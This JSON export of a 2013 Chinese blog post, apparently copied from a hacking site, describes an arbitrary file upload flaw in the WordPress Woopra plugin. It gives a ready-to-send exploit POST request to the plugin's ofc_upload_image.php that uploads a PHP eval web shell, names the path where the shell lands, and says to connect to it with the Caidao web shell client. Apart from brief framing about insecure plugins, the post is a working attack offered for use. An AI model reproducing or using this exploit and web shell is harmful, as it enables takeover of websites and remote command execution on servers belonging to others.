{"id":2396,"date":"2013-10-24T13:00:00","date_gmt":"2013-10-24T05:00:00","guid":{"rendered":"https:\/\/sdeno.com\/?p=2396"},"modified":"2013-10-24T13:00:00","modified_gmt":"2013-10-24T05:00:00","slug":"%e5%8f%88%e6%98%afwordpress%e6%8f%92%e4%bb%b6%e6%83%b9%e7%9a%84%e7%a5%b8%ef%bc%9awoopra%e6%8f%92%e4%bb%b6%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"https:\/\/sdeno.com\/?p=2396","title":{"rendered":"\u53c8\u662fWordPress\u63d2\u4ef6\u60f9\u7684\u7978\uff1aWoopra\u63d2\u4ef6\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20+\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"content":{"rendered":"<p>WordPress\u7684\u529f\u80fd\u5f3a\u5927\u4e4b\u4e00\u4e5f\u5c31\u662f\u5b83\u7684\u63d2\u4ef6\u591a\uff0c\u5f00\u53d1\u8005\u4eec\u4e3a\u4e86\u65b9\u4fbf\u81ea\u5df1\u4e5f\u65b9\u4fbf\u90a3\u4e9b\u4e0d\u61c2\u4ee3\u7801\u7684\u65b0\u624b\u6765\u8bf4\u5b89\u88c5\u63d2\u4ef6\u65e0\u7591\u662f\u6700\u7b80\u5355\u76f4\u63a5\u7684\u65b9\u6cd5\u3002<\/p>\n<p>\u4f46\u662f\u5f00\u53d1\u8005\u5728\u5f00\u653e\u63d2\u4ef6\u7684\u540c\u65f6\u5f80\u5f80\u53ea\u8003\u8651\u529f\u80fd\u662f\u5426\u80fd\u591f\u5b9e\u73b0\u5176\u529f\u80fd\uff0c\u51e0\u4e4e\u4e0d\u8003\u8651\u5b89\u5168\u6027\u95ee\u9898\uff0c\u4e5f\u6b63\u56e0\u4e3a\u63d2\u4ef6\u662f\u5f00\u6e90\u7684\u539f\u59cb\u4ee3\u7801\u4e5f\u5f88\u5bb9\u6613\u83b7\u53d6\u5230\u5bf9\u4e8e\u90a3\u4e9b\u522b\u6709\u7528\u5fc3\u7684\u9ed1\u5ba2\u6765\u8bf4\uff0c\u5b89\u88c5\u4e86\u90a3\u4e9b\u5b89\u5168\u6027\u4e0d\u9ad8\u7684\u63d2\u4ef6\u57fa\u672c\u5c31\u662f\u5e2e\u52a9\u9ed1\u5ba2\u5b89\u88c5\u4e86\u4e00\u9053\u540e\u95e8\u3002<\/p>\n<p>Woopra\u63d2\u4ef6\u5c31\u662f\u5176\u4e2d\u4e4b\u4e00\u3002<\/p>\n<p>\u7167\u4f8be\u6587\u88c5\u903c<\/p>\n<p>WordPress\u00a0Woopra Remote Code Execution\uff1ahttp:\/\/www.wordpress-secure.org\/index.php\/wordpress-woopra-remote-code-execution\/<\/p>\n<p>&nbsp;<\/p>\n<p>\u6b64\u6f0f\u6d1e\u5bf9Woopra 1.4.3.1\u4ee5\u4e0a\u7248\u672c\u65e0\u6548\u3002<\/p>\n<p>\u63d2\u4ef6\u4e0b\u8f7d\u5730\u5740\uff1a<\/p>\n<p>http:\/\/downloads.wordpress.org\/plugin\/woopra.1.4.3.1.zip<\/p>\n<p>&nbsp;<\/p>\n<p>exp\u53d1\u5305\uff1a<\/p>\n<p>POST \/wordpress\/3.5.1_CN\/wp-content\/plugins\/woopra\/inc\/php-ofc-library\/ofc_upload_image.php?name=11.php HTTP\/1.1<br \/>\nHost: ha.cker.in<br \/>\nProxy-Connection: keep-alive<br \/>\nCache-Control: max-age=0<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 5.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/28.0.1478.0 Safari\/537.36<br \/>\nAccept-Encoding: gzip,deflate,sdch<br \/>\nAccept-Language: zh-CN,zh;q=0.8<br \/>\nContent-Length: 28<\/p>\n<p>&lt;?php eval($_POST[&#8216;cmd&#8217;]); ?&gt;<\/p>\n<p>&nbsp;<\/p>\n<p>\u4e0a\u4f20\u7684\u6587\u4ef6\u5728http:\/\/ha.cker.in\/wordpress\/3.5.1_CN\/wp-content\/plugins\/woopra\/inc\/tmp-upload-images\/11.php<\/p>\n<figure class=\"mdx-lazyload-container\" style=\"\"><div style=\"padding-top:50%\"><\/div><div class=\"mdx-img-loading-sp mdui-valign\"><div><div class=\"mdui-spinner\"><\/div><\/div><\/div><img class=\"lazyload\" title=\"\u53c8\u662fWordPress\u63d2\u4ef6\u60f9\u7684\u7978\uff1aWoopra\u63d2\u4ef6\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20+\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" data-src=\"http:\/\/www.myhack58.com\/Article\/UploadPic\/2013-10\/2013101114544695797.png\" alt=\"http:\/\/www.myhack58.com\/Article\/UploadPic\/2013-10\/2013101114544695797.png\"><\/figure>\n<p>\u83dc\u5200\u8fde\u63a5\u5c31ok\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>WordPress\u7684\u529f\u80fd\u5f3a\u5927\u4e4b\u4e00\u4e5f\u5c31\u662f\u5b83\u7684\u63d2\u4ef6\u591a\uff0c\u5f00\u53d1\u8005\u4eec\u4e3a\u4e86\u65b9\u4fbf\u81ea\u5df1\u4e5f\u65b9\u4fbf\u90a3\u4e9b\u4e0d\u61c2\u4ee3\u7801\u7684\u65b0\u624b\u6765\u8bf4\u5b89\u88c5\u63d2\u4ef6\u65e0\u7591 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,9],"tags":[],"class_list":["post-2396","post","type-post","status-publish","format-standard","hentry","category-php","category-9"],"_links":{"self":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts\/2396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2396"}],"version-history":[{"count":0,"href":"https:\/\/sdeno.com\/index.php?rest_route=\/wp\/v2\/posts\/2396\/revisions"}],"wp:attachment":[{"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sdeno.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}